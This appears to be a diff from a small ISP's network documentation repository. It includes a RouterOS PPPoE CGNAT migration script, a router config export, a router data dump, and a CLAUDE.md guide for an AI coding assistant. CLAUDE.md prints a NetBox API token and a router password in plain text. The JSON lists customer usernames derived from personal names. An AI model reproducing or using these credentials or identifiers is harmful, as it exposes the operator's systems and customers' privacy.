# /ppp secret set [find name="testclient"] profile=982-migrate
|
||||||
|
|
||||||
|
# Have client reconnect and verify they get IP from new range
|
||||||
|
# Check with: /ppp active print where name="testclient"
|
||||||
|
}
|
||||||
|
|
||||||
|
# MIGRATION PHASE - Run during maintenance window
|
||||||
|
{
|
||||||
|
# Update PPPoE server to use new profile for new connections
|
||||||
|
/interface pppoe-server server set [find name=982] default-profile=982-migrate
|
||||||
|
|
||||||
|
# Force all clients to reconnect (will cause brief outage)
|
||||||
|
# /ppp active remove [find]
|
||||||
|
|
||||||
|
# Or disconnect clients gradually:
|
||||||
|
# :foreach i in=[/ppp active find] do={
|
||||||
|
# /ppp active remove $i
|
||||||
|
# :delay 1s
|
||||||
|
# }
|
||||||
|
}
|
||||||
|
|
||||||
|
# VERIFICATION COMMANDS
|
||||||
|
{
|
||||||
|
# Check active connections
|
||||||
|
:put "Active PPPoE connections by IP range:"
|
||||||
|
:put "Old range (100.64.32.x): $([:len [/ppp active find where address~"100.64.32"]])"
|
||||||
|
:put "Old range (100.64.33.x): $([:len [/ppp active find where address~"100.64.33"]])"
|
||||||
|
:put "Old range (100.64.34.x): $([:len [/ppp active find where address~"100.64.34"]])"
|
||||||
|
:put "Old range (100.64.35.x): $([:len [/ppp active find where address~"100.64.35"]])"
|
||||||
|
:put "New range (100.64.48-63.x): $([:len [/ppp active find where address~"100.64.[45][0-9]"]])"
|
||||||
|
}
|
||||||
|
|
||||||
|
# CLEANUP PHASE - Only run after ALL clients migrated
|
||||||
|
{
|
||||||
|
# Remove old configuration
|
||||||
|
# /ip address remove [find address="100.64.35.254/22"]
|
||||||
|
# /ip pool remove [find name=cgnat]
|
||||||
|
# /ppp profile remove [find name=982]
|
||||||
|
|
||||||
|
# Rename new items to standard names
|
||||||
|
# /ip pool set [find name=cgnat-new] name=cgnat comment="982 CGNAT pool /20"
|
||||||
|
# /ppp profile set [find name=982-migrate] name=982 comment=""
|
||||||
|
# /ip address set [find address="100.64.63.254/20"] comment="982 CGNAT gateway"
|
||||||
|
}
|
||||||
|
|
||||||
|
# ROLLBACK COMMANDS - If something goes wrong
|
||||||
|
{
|
||||||
|
# Revert PPPoE server to old profile
|
||||||
|
# /interface pppoe-server server set [find name=982] default-profile=982
|
||||||
|
|
||||||
|
# Remove new configuration
|
||||||
|
# /ip address remove [find address="100.64.63.254/20"]
|
||||||
|
# /ip pool remove [find name=cgnat-new]
|
||||||
|
# /ppp profile remove [find name=982-migrate]
|
||||||
|
}
|
||||||
22
982_config_export.txt
Normal file
22
982_config_export.txt
Normal file
|
|
@ -0,0 +1,22 @@
|
||||||
|
# Configuration for router (10.254.254.110)
|
||||||
|
# Exported on 2025-10-04 11:22:56
|
||||||
|
|
||||||
|
# IP Addresses
|
||||||
|
/ip address add address=10.254.254.110/32 interface=loopback
|
||||||
|
/ip address add address=10.250.1.33/29 interface=ether7-380
|
||||||
|
/ip address add address=10.10.63.254/20 interface=mgmt
|
||||||
|
/ip address add address=100.64.35.254/22 interface=982
|
||||||
|
/ip address add address=204.110.188.126/27 interface=982
|
||||||
|
|
||||||
|
# IP Pools
|
||||||
|
/ip pool add name=cgnat ranges=100.64.32.1-100.64.35.199
|
||||||
|
/ip pool add name=mgmt ranges=10.10.48.1-10.10.62.254
|
||||||
|
/ip pool add name=public ranges=204.110.189.1-204.110.189.29
|
||||||
|
|
||||||
|
# PPPoE Servers
|
||||||
|
/interface pppoe-server server add name=982 interface=982 default-profile=982
|
||||||
|
|
||||||
|
# PPP Profiles
|
||||||
|
/ppp profile add name=982 local-address=100.64.35.253 remote-address=cgnat
|
||||||
|
|
||||||
|
# NAT Rules
|
||||||
503
982_router_data.json
Normal file
503
982_router_data.json
Normal file
|
|
@ -0,0 +1,503 @@
|
||||||
|
{
|
||||||
|
"host": "10.254.254.110",
|
||||||
|
"identity": null,
|
||||||
|
"timestamp": "2025-10-04T10:59:31.988938",
|
||||||
|
"subnets": [
|
||||||
|
{
|
||||||
|
"address": "10.254.254.110/32",
|
||||||
|
"network": "10.254.254.110",
|
||||||
|
"interface": "loopback",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.250.1.33/29",
|
||||||
|
"network": "10.250.1.32",
|
||||||
|
"interface": "ether7-380",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.10.63.254/20",
|
||||||
|
"network": "10.10.48.0",
|
||||||
|
"interface": "mgmt",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.35.254/22",
|
||||||
|
"network": "100.64.32.0",
|
||||||
|
"interface": 982,
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "204.110.188.126/27",
|
||||||
|
"network": "204.110.188.96",
|
||||||
|
"interface": 982,
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.35.253/32",
|
||||||
|
"network": "100.64.35.199",
|
||||||
|
"interface": "<pppoe-derrickmccausland>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.35.253/32",
|
||||||
|
"network": "100.64.35.198",
|
||||||
|
"interface": "<pppoe-coreyball>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.35.253/32",
|
||||||
|
"network": "100.64.35.197",
|
||||||
|
"interface": "<pppoe-kennethcampbell2>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.35.253/32",
|
||||||
|
"network": "100.64.35.196",
|
||||||
|
"interface": "<pppoe-joshuasoliz>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.35.253/32",
|
||||||
|
"network": "100.64.35.195",
|
||||||
|
"interface": "<pppoe-krisdougherty>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.35.253/32",
|
||||||
|
"network": "100.64.35.194",
|
||||||
|
"interface": "<pppoe-zackknuckey>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.35.253/32",
|
||||||
|
"network": "100.64.35.193",
|
||||||
|
"interface": "<pppoe-jackworthy>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.35.253/32",
|
||||||
|
"network": "100.64.35.192",
|
||||||
|
"interface": "<pppoe-joselucas>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.35.253/32",
|
||||||
|
"network": "100.64.35.191",
|
||||||
|
"interface": "<pppoe-nicolemaenn>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.35.253/32",
|
||||||
|
"network": "100.64.35.190",
|
||||||
|
"interface": "<pppoe-melanieweddle>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.35.253/32",
|
||||||
|
"network": "100.64.35.189",
|
||||||
|
"interface": "<pppoe-scottanderson>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.35.253/32",
|
||||||
|
"network": "100.64.35.188",
|
||||||
|
"interface": "<pppoe-rickbeckham>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.35.253/32",
|
||||||
|
"network": "100.64.35.187",
|
||||||
|
"interface": "<pppoe-juanalonzo>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.35.253/32",
|
||||||
|
"network": "100.64.35.186",
|
||||||
|
"interface": "<pppoe-davidvillanueva>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.35.253/32",
|
||||||
|
"network": "100.64.35.185",
|
||||||
|
"interface": "<pppoe-connorspicer>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.35.253/32",
|
||||||
|
"network": "100.64.35.184",
|
||||||
|
"interface": "<pppoe-elisasanders>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.35.253/32",
|
||||||
|
"network": "100.64.35.182",
|
||||||
|
"interface": "<pppoe-terryrector>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.35.253/32",
|
||||||
|
"network": "100.64.35.180",
|
||||||
|
"interface": "<pppoe-richardrosson>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.35.253/32",
|
||||||
|
"network": "100.64.35.183",
|
||||||
|
"interface": "<pppoe-belindamillener>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.35.253/32",
|
||||||
|
"network": "100.64.35.179",
|
||||||
|
"interface": "<pppoe-alextovias>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.35.253/32",
|
||||||
|
"network": "100.64.35.181",
|
||||||
|
"interface": "<pppoe-shelbyburris>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"interfaces": [
|
||||||
|
{
|
||||||
|
"name": "combo1",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "DC:2C:6E:66:50:BE",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "ether1",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "DC:2C:6E:66:50:BF",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "ether2",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "DC:2C:6E:66:50:C0",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "ether3",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "DC:2C:6E:66:50:C1",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "ether4",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "DC:2C:6E:66:50:C2",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "ether5",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "DC:2C:6E:66:50:C3",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "ether6",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "DC:2C:6E:66:50:C4",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "ether7-380",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "DC:2C:6E:66:50:C5",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": 982,
|
||||||
|
"type": "bridge",
|
||||||
|
"mac": "DC:2C:6E:66:50:BE",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": "auto"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-alextovias>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-belindamillener>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-connorspicer>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-coreyball>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-davidvillanueva>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-derrickmccausland>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-elisasanders>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-jackworthy>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-joselucas>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-joshuasoliz>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-juanalonzo>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-kennethcampbell2>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-krisdougherty>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-melanieweddle>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-nicolemaenn>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-richardrosson>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-rickbeckham>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-scottanderson>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-shelbyburris>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-terryrector>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-zackknuckey>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "lo",
|
||||||
|
"type": "loopback",
|
||||||
|
"mac": "00:00:00:00:00:00",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 65536
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "loopback",
|
||||||
|
"type": "bridge",
|
||||||
|
"mac": "26:96:F5:50:C7:CC",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": "auto"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "mgmt",
|
||||||
|
"type": "bridge",
|
||||||
|
"mac": "DC:2C:6E:66:50:BF",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": "auto"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan10_ether1",
|
||||||
|
"type": "vlan",
|
||||||
|
"mac": "DC:2C:6E:66:50:BF",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan10_ether2",
|
||||||
|
"type": "vlan",
|
||||||
|
"mac": "DC:2C:6E:66:50:C0",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan10_ether3",
|
||||||
|
"type": "vlan",
|
||||||
|
"mac": "DC:2C:6E:66:50:C1",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan10_ether4",
|
||||||
|
"type": "vlan",
|
||||||
|
"mac": "DC:2C:6E:66:50:C2",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan10_ether5",
|
||||||
|
"type": "vlan",
|
||||||
|
"mac": "DC:2C:6E:66:50:C3",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan10_ether6",
|
||||||
|
"type": "vlan",
|
||||||
|
"mac": "DC:2C:6E:66:50:C4",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"vlans": [
|
||||||
|
{
|
||||||
|
"name": "vlan10_ether1",
|
||||||
|
"vlan_id": 10,
|
||||||
|
"interface": "ether1"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan10_ether2",
|
||||||
|
"vlan_id": 10,
|
||||||
|
"interface": "ether2"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan10_ether3",
|
||||||
|
"vlan_id": 10,
|
||||||
|
"interface": "ether3"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan10_ether4",
|
||||||
|
"vlan_id": 10,
|
||||||
|
"interface": "ether4"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan10_ether5",
|
||||||
|
"vlan_id": 10,
|
||||||
|
"interface": "ether5"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan10_ether6",
|
||||||
|
"vlan_id": 10,
|
||||||
|
"interface": "ether6"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"pppoe_servers": [
|
||||||
|
{
|
||||||
|
"service_name": 982,
|
||||||
|
"interface": 982
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"routes": []
|
||||||
|
}
|
||||||
334
CLAUDE.md
Normal file
334
CLAUDE.md
Normal file
|
|
@ -0,0 +1,334 @@
|
||||||
|
# CLAUDE.md
|
||||||
|
|
||||||
|
This file provides guidance to Claude Code (claude.ai/code) when working with code in this repository.
|
||||||
|
|
||||||
|
## Project Overview
|
||||||
|
|
||||||
|
This is a network documentation and discovery project that integrates with NetBox.
|
||||||
|
|
||||||
|
## NetBox Integration
|
||||||
|
|
||||||
|
- **NetBox URL**: https://netbox.vntx.net/
|
||||||
|
- **API Key**: e50298f7fd20f7fd6f1931f635511b34f6e8cfde
|
||||||
|
- **Purpose**: Network documentation and discovery
|
||||||
|
|
||||||
|
## Development Guidelines
|
||||||
|
|
||||||
|
### NetBox API Usage
|
||||||
|
- Use the provided API key for authentication with NetBox
|
||||||
|
- The NetBox instance is located at https://netbox.vntx.net/
|
||||||
|
- Follow NetBox API documentation for proper endpoint usage
|
||||||
|
- The netbox api token is in env var NETBOX_KEY
|
||||||
|
|
||||||
|
### Security Notes
|
||||||
|
- Never commit API keys directly in code files
|
||||||
|
- Use environment variables or configuration files for sensitive data
|
||||||
|
- The API key provided should be stored securely
|
||||||
|
|
||||||
|
## Common Tasks
|
||||||
|
|
||||||
|
### NetBox API Connection
|
||||||
|
When connecting to NetBox, use:
|
||||||
|
- Base URL: `https://netbox.vntx.net/api/`
|
||||||
|
- Authentication header: `Authorization: Token e50298f7fd20f7fd6f1931f635511b34f6e8cfde`
|
||||||
|
|
||||||
|
### MikroTik Router Connection
|
||||||
|
Connect to MikroTik routers using API-SSL:
|
||||||
|
- **Protocol**: API-SSL (port 8729)
|
||||||
|
- **Username**: `grahamro` (read-only)
|
||||||
|
- **Password**: `cFKhz8q5gPLoucMbcT1Iy58r3IXgc3`
|
||||||
|
- **Example - Verona Router**: `10.254.254.101`
|
||||||
|
|
||||||
|
Use the `mikrotik_connect.py` script to connect and retrieve router information:
|
||||||
|
```bash
|
||||||
|
python3 mikrotik_connect.py
|
||||||
|
```
|
||||||
|
|
||||||
|
The script handles SSL connection, authentication, and can retrieve:
|
||||||
|
- IP addresses and subnets
|
||||||
|
- Interface configurations
|
||||||
|
- Routing tables
|
||||||
|
- PPPoE connections
|
||||||
|
|
||||||
|
## Router Access Credentials
|
||||||
|
|
||||||
|
### MikroTik Routers
|
||||||
|
- Read-only access via API-SSL: username `grahamro`, password `cFKhz8q5gPLoucMbcT1Iy58r3IXgc3`
|
||||||
|
|
||||||
|
### Verona Routers
|
||||||
|
- Verona router is 10.254.254.101
|
||||||
|
|
||||||
|
### Additional Router IP Addresses
|
||||||
|
- Climax router: 10.254.254.102
|
||||||
|
- Culleoka router: 10.254.254.104
|
||||||
|
|
||||||
|
## NetBox Site and Device Creation Process
|
||||||
|
|
||||||
|
### Creating a new site and router in NetBox:
|
||||||
|
1. **Create Site**: Use `create_verona_site_and_router.py` as template
|
||||||
|
- Site name and slug (lowercase, hyphenated)
|
||||||
|
- Status: 'active'
|
||||||
|
- Comments describing the site
|
||||||
|
|
||||||
|
2. **Create Device**:
|
||||||
|
- Manufacturer: MikroTik
|
||||||
|
- Device Type: RouterBOARD
|
||||||
|
- Device Role: Router
|
||||||
|
- Primary IP: Router's loopback IP (e.g., 10.254.254.101/32)
|
||||||
|
|
||||||
|
3. **Add Network Data**: Use `update_netbox_verona.py` as template
|
||||||
|
- Creates prefixes with proper roles (Infrastructure, Customer, Management, Loopback)
|
||||||
|
- Creates interfaces on the device
|
||||||
|
- Associates IP addresses with interfaces
|
||||||
|
|
||||||
|
### API Authentication
|
||||||
|
- Always use environment variable `NETBOX_KEY` for API token
|
||||||
|
- Fallback to hardcoded token only if env var not set
|
||||||
|
|
||||||
|
## Generic Scripts for Network Management
|
||||||
|
|
||||||
|
### 1. Create Site Only in NetBox
|
||||||
|
```bash
|
||||||
|
# Basic usage
|
||||||
|
python3 create_site_only.py <site_name>
|
||||||
|
|
||||||
|
# With options
|
||||||
|
python3 create_site_only.py 380 --comments "Central site with multiple routers" --address "380 Main St"
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2. Create Site and Router in NetBox
|
||||||
|
```bash
|
||||||
|
# Basic usage
|
||||||
|
python3 create_site_and_router.py <site_name> <router_ip>
|
||||||
|
|
||||||
|
# With options
|
||||||
|
python3 create_site_and_router.py Climax 10.254.254.102 --router-name climax-core --physical-address "123 Tower Rd"
|
||||||
|
|
||||||
|
# For sites with multiple routers, create site first, then add each router
|
||||||
|
python3 create_site_only.py 380 --comments "Multi-router site"
|
||||||
|
python3 create_site_and_router.py 380 10.254.254.105 --router-name 380-core-router
|
||||||
|
python3 create_site_and_router.py 380 10.254.254.106 --router-name 380-edge-router
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3. Get MikroTik Router Configuration
|
||||||
|
```bash
|
||||||
|
# Basic usage (uses default read-only credentials)
|
||||||
|
python3 get_mikrotik_router_data.py <router_ip>
|
||||||
|
|
||||||
|
# Save to specific file
|
||||||
|
python3 get_mikrotik_router_data.py 10.254.254.102 -o climax_config.json
|
||||||
|
|
||||||
|
# Output JSON to stdout
|
||||||
|
python3 get_mikrotik_router_data.py 10.254.254.102 --json
|
||||||
|
|
||||||
|
# Custom credentials
|
||||||
|
python3 get_mikrotik_router_data.py 10.254.254.102 -u admin -p secretpass
|
||||||
|
```
|
||||||
|
|
||||||
|
The script retrieves:
|
||||||
|
- Router identity
|
||||||
|
- IP addresses and subnets
|
||||||
|
- Active interfaces
|
||||||
|
- VLANs
|
||||||
|
- PPPoE servers
|
||||||
|
- Static routes
|
||||||
|
|
||||||
|
### 4. Get MikroTik Router Data (Basic/Older RouterOS)
|
||||||
|
For older RouterOS versions or routers with many IPs (like CGNAT):
|
||||||
|
```bash
|
||||||
|
python3 get_mikrotik_basic_data.py <router_ip> -o router_data.json
|
||||||
|
```
|
||||||
|
|
||||||
|
This simplified script:
|
||||||
|
- Groups CGNAT addresses into a single subnet entry
|
||||||
|
- Focuses on key interfaces only
|
||||||
|
- Works better with older RouterOS versions
|
||||||
|
- Handles large configurations without timing out
|
||||||
|
|
||||||
|
### 5. Get All Network Devices
|
||||||
|
```bash
|
||||||
|
# Get all devices categorized by type
|
||||||
|
python3 get_all_network_devices.py <router_ip>
|
||||||
|
|
||||||
|
# Show all devices including "Other" category
|
||||||
|
python3 get_all_network_devices.py <router_ip> --show-all
|
||||||
|
|
||||||
|
# Save to JSON file
|
||||||
|
python3 get_all_network_devices.py <router_ip> -o devices.json
|
||||||
|
```
|
||||||
|
|
||||||
|
This script retrieves DHCP leases and ARP table to identify:
|
||||||
|
- Ubiquiti access points and devices
|
||||||
|
- MikroTik devices
|
||||||
|
- Other network devices
|
||||||
|
|
||||||
|
## Network Topology Patterns
|
||||||
|
|
||||||
|
### Access Point Placement
|
||||||
|
- Access points are always placed in the top /24 of the management subnet for each tower
|
||||||
|
- Example: For management subnet 10.10.16.0/20, APs are in 10.10.31.0/24 (the last /24 in that range)
|
||||||
|
- Formula: For subnet X.Y.Z.0/20, APs are in X.Y.(Z+15).0/24
|
||||||
|
|
||||||
|
### Ubiquiti MAC Prefixes
|
||||||
|
Common MAC address prefixes for Ubiquiti devices:
|
||||||
|
- 00:04:56 (legacy)
|
||||||
|
- 00:27:22 (legacy)
|
||||||
|
- 04:18:D6
|
||||||
|
- 24:A4:3C
|
||||||
|
- 68:72:51
|
||||||
|
- 80:2A:A8
|
||||||
|
- F0:9F:C2
|
||||||
|
- FC:EC:DA
|
||||||
|
|
||||||
|
## MPLS / LDP
|
||||||
|
|
||||||
|
### FastTrack is incompatible with MPLS on RouterOS 7
|
||||||
|
FastTrack bypasses the IP forwarding path that MPLS push/pop runs on, so any
|
||||||
|
flow that gets fasttracked on a router whose path uses an MPLS-enabled
|
||||||
|
interface can break — packets either hit the wrong interface or never get
|
||||||
|
labeled, which presents as black-holing for specific source subnets that
|
||||||
|
weren't fasttracked before. Symptoms: pings/SSH/TCP from one source IP work
|
||||||
|
but the same destination is unreachable from another source on the same
|
||||||
|
router; loopback-sourced traffic works but vlan-interface-sourced doesn't.
|
||||||
|
|
||||||
|
**Fix:** before each `action=fasttrack-connection` rule in `chain=forward`,
|
||||||
|
add `accept` rules that match the MPLS-bound interface(s) so those flows
|
||||||
|
never enter the fasttrack path:
|
||||||
|
```
|
||||||
|
/ip firewall filter
|
||||||
|
add chain=forward action=accept in-interface=<mpls-iface> comment="bypass fasttrack for MPLS spine (in)" place-before=<fasttrack-id>
|
||||||
|
add chain=forward action=accept out-interface=<mpls-iface> comment="bypass fasttrack for MPLS spine (out)" place-before=<fasttrack-id>
|
||||||
|
```
|
||||||
|
Customer→internet flows continue to fasttrack normally; only flows traversing
|
||||||
|
the MPLS spine bypass it.
|
||||||
|
|
||||||
|
### LDP doesn't label OSPF Type-5 externals by default
|
||||||
|
Prefixes redistributed via `redistribute=connected` (e.g., a /27 customer
|
||||||
|
WAN handoff like 204.110.191.0/27) appear as Type-5 external LSAs and don't
|
||||||
|
get LDP label bindings. Forward path to a labeled destination still works,
|
||||||
|
but the return path is plain IP. If you need labeled bidirectional reach
|
||||||
|
for a redistributed prefix, configure an LDP advertise-filter that
|
||||||
|
explicitly includes it.
|
||||||
|
|
||||||
|
